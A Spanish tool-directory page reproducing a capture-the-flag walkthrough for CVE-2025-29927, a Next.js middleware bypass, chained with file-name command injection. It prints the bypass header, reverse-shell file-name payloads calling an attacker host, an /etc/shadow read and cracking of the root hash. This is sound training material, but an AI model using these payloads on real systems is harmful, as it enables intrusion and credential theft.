Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-29927-Proof-of-Concept — Desafío Capture the Flag: CVE-2025-29927 en combinación con una vulnerabilidad de inyección de comandos | Kitploit
Herramientas/GitHubGitHub/si-ni/cve-2025-29927-proof-of-concept
Descifrado de ContraseñasEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotación de Aplicaciones WebCTFComando y ControlAprendizaje y Educación
GitHubsi-ni/cve-2025-29927-proof-of-concept

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-29927-Proof-of-Concept

Desafío Capture the Flag: CVE-2025-29927 en combinación con una vulnerabilidad de inyección de comandos

Ver Repositorio
2hace 7 mesesAún no revisado

Walkthrough

Paso 1 (5 min)

Pista ¿Qué servicios de red expone el objetivo?

— — —

Solución
root@kitploit:~

    kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

Paso 2 (5 min)

Pista 1 La página de inicio solo muestra una página de inicio de sesión, pero los servidores web a menudo exponen rutas adicionales.
Pista 2 Intenta usar una herramienta de fuerza bruta de directorios como Gobuster o DirBuster.

— — —

Solución
root@kitploit:~

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  
root@kitploit:~

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

Paso 3 (20 min)

Pista 1 La página /dashboard redirige a /login. ¿Puedes encontrar alguna información en la página de inicio de sesión que te permita evitar la redirección?
imagen
Pista 2 ¿Puedes encontrar algo para la versión 15.2.2 de Next.js?
Pista 3 Investiga CVE-2025-29927. Usa el proxy de Burp Suite para interceptar la solicitud y manipular los encabezados de la solicitud antes de reenviarla.

— — —

Solución

Antecedentes

Muchas aplicaciones web protegen rutas sensibles (por ejemplo, /dashboard) usando middleware. El middleware verifica la solicitud, valida las cookies de sesión y confirma los permisos del usuario. Si las comprobaciones fallan, el middleware normalmente redirige al usuario a /login.

Mecanismo de vulnerabilidad

CVE-2025-29927 es un defecto de diseño en el procesamiento de middleware de Next.js. Permite a un atacante eludir por completo la protección del middleware explotando el encabezado x-middleware-subrequest. Next.js usa este encabezado internamente para evitar bucles infinitos de middleware. Cuando se procesa una solicitud, la función runMiddleware verifica los encabezados de la solicitud:
  • Si x-middleware-subrequest está presente
  • y su valor contiene el nombre del middleware
  • entonces Next.js omite la ejecución del middleware y reenvía la solicitud directamente
Esto está destinado a ser una optimización interna, pero el defecto es que los usuarios externos también pueden configurar este encabezado.

El código vulnerable

root@kitploit:~

    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  
Next.js introdujo una profundidad máxima de recursión para la ejecución del middleware. Esto se implementó para evitar bucles infinitos, pero no afecta la vulnerabilidad. Al usar este encabezado, le decimos al middleware: "Esta ya es una solicitud generada por el middleware, no ejecutes el middleware nuevamente". Next.js ahora elimina el encabezado de todas las solicitudes externas entrantes antes de que se ejecute el middleware. El encabezado solo se confía cuando se crea dentro del tiempo de ejecución de Next.js durante el encadenamiento legítimo de middleware. Concretamente, el valor de x-middleware-subrequest ahora se valida con una cadena hexadecimal generada aleatoriamente, lo que garantiza que solo las solicitudes de sesión internas legítimas pasen las comprobaciones de autorización. Por lo tanto, incluso si un atacante envía el encabezado, Next.js ahora puede distinguir entre una subconsulta interna real (que lleva el token generado aleatoriamente correcto) y una falsificada de un atacante externo.

Paso 4 (15 min)

Pista 1 Las cargas de archivos también están protegidas por el middleware, por lo que también debes enviar el encabezado del paso 3 con cada solicitud.
Pista 2 La entrada del usuario siempre representa un alto riesgo. ¿Qué más, además del contenido del archivo, se considera entrada del usuario aquí? ¿Y puedes encontrar alguna información en la página que revele cómo se procesa la imagen?
Pista 3 Prueba algunos nombres de archivos maliciosos. https://www.revshells.com/

— — —

Solución

Explicación

root@kitploit:~

    const filename = file.name; // VULNERABLE: No sanitization!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => { exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => { ...
El nombre de archivo original está controlado por el usuario y puede contener caracteres maliciosos. El desarrollador elimina algunos caracteres peligrosos (lista negra en lugar de lista blanca). El comando convert se ejecuta usando exec(), y el nombre de archivo original (entrada del usuario) se inserta directamente en el comando del shell. Una posible solución sería usar nombres de archivo generados aleatoriamente en lugar de nombres de archivo de usuario y usar una API segura que evite el shell.

Exploit

root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  
Nombres de archivo maliciosos: La bandera se encuentra en :

Bonus (5 min)

Pista 1 ¿Qué privilegios sudo tiene el webuser?
Pista 2 Herramientas como John the Ripper o Hashcat pueden ayudar. Descomprime el archivo rockyou.txt.gz con el comando gzip -d /usr/share/wordlists/rockyou.txt.gz.

— — —

Solución
root@kitploit:~

    target@target:~$ sudo -l
    Matching Defaults entries for webuser on photoresizer:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User webuser may run the following commands on photoresizer:
      (ALL) NOPASSWD: /usr/bin/cat /etc/shadow
  
root@kitploit:~

    target@target:~$ sudo cat /etc/shadow
    root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
  
root@kitploit:~

    kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
    kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    rockyou          (root)     
    1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
  
root@kitploit:~

    target@target:~$ su - root
  
La bandera se encuentra en /root:
root@kitploit:~

    FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
  
Descargar herramienta

Para versiones 13.2.0 y posteriores

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

imagen
imagen

Solución

x-middleware-subrequest
root@kitploit:~

    image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
    image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
  
imagen
root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  
/home/webuser
root@kitploit:~

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}